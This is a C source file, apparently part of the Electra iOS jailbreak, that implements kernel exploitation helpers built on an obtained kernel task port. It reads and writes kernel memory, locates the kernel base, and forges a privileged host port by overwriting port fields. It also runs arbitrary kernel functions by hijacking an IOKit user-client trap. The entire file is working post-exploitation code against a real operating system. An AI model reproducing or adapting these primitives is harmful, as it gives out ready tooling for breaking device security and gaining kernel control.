kutils.c 5.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <mach/mach.h>
  4. #include "kutils.h"
  5. #include "kmem.h"
  6. #include "find_port.h"
  7. #include "symbols.h"
  8. uint64_t cached_task_self_addr = 0;
  9. uint64_t task_self_addr() {
  10. if (cached_task_self_addr == 0) {
  11. cached_task_self_addr = find_port_address_electra(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
  12. printf("task self: 0x%llx\n", cached_task_self_addr);
  13. }
  14. return cached_task_self_addr;
  15. }
  16. uint64_t ipc_space_kernel() {
  17. return rk64_electra(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
  18. }
  19. uint64_t current_thread() {
  20. uint64_t thread_port = find_port_address_electra(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
  21. return rk64_electra(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
  22. }
  23. uint64_t find_kernel_base() {
  24. uint64_t hostport_addr = find_port_address_electra(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
  25. uint64_t realhost = rk64_electra(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
  26. uint64_t base = realhost & ~0xfffULL;
  27. // walk down to find the magic:
  28. for (int i = 0; i < 0x10000; i++) {
  29. if (rk32_electra(base) == 0xfeedfacf) {
  30. return base;
  31. }
  32. base -= 0x1000;
  33. }
  34. return 0;
  35. }
  36. mach_port_t fake_host_priv_port = MACH_PORT_NULL;
  37. // build a fake host priv port
  38. mach_port_t fake_host_priv() {
  39. if (fake_host_priv_port != MACH_PORT_NULL) {
  40. return fake_host_priv_port;
  41. }
  42. // get the address of realhost:
  43. uint64_t hostport_addr = find_port_address_electra(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
  44. uint64_t realhost = rk64_electra(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
  45. // allocate a port
  46. mach_port_t port = MACH_PORT_NULL;
  47. kern_return_t err;
  48. err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
  49. if (err != KERN_SUCCESS) {
  50. printf("failed to allocate port\n");
  51. return MACH_PORT_NULL;
  52. }
  53. // get a send right
  54. mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
  55. // locate the port
  56. uint64_t port_addr = find_port_address_electra(port, MACH_MSG_TYPE_COPY_SEND);
  57. // change the type of the port
  58. #define IKOT_HOST_PRIV 4
  59. #define IO_ACTIVE 0x80000000
  60. wk32_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_HOST_PRIV);
  61. // change the space of the port
  62. wk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
  63. // set the kobject
  64. wk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
  65. fake_host_priv_port = port;
  66. return port;
  67. }
  68. extern mach_port_t tfpzero;
  69. size_t kread_electra(uint64_t where, void *p, size_t size) {
  70. int rv;
  71. size_t offset = 0;
  72. while (offset < size) {
  73. mach_vm_size_t sz, chunk = 2048;
  74. if (chunk > size - offset) {
  75. chunk = size - offset;
  76. }
  77. rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
  78. if (rv || sz == 0) {
  79. fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where));
  80. break;
  81. }
  82. offset += sz;
  83. }
  84. return offset;
  85. }
  86. size_t kwrite_electra(uint64_t where, const void *p, size_t size) {
  87. int rv;
  88. size_t offset = 0;
  89. while (offset < size) {
  90. size_t chunk = 2048;
  91. if (chunk > size - offset) {
  92. chunk = size - offset;
  93. }
  94. rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk);
  95. if (rv) {
  96. fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where));
  97. break;
  98. }
  99. offset += chunk;
  100. }
  101. return offset;
  102. }
  103. uint64_t kalloc(vm_size_t size) {
  104. mach_vm_address_t address = 0;
  105. mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
  106. return address;
  107. }
  108. uint64_t kexecute(mach_port_t user_client, uint64_t fake_client, uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
  109. // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
  110. // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
  111. // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
  112. // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
  113. // through like normal.
  114. // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
  115. // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
  116. // (i'm not actually sure if the switch back is necessary but meh)
  117. uint64_t offx20 = rk64_electra(fake_client+0x40);
  118. uint64_t offx28 = rk64_electra(fake_client+0x48);
  119. wk64_electra(fake_client+0x40, x0);
  120. wk64_electra(fake_client+0x48, addr);
  121. uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
  122. wk64_electra(fake_client+0x40, offx20);
  123. wk64_electra(fake_client+0x48, offx28);
  124. return returnval;
  125. }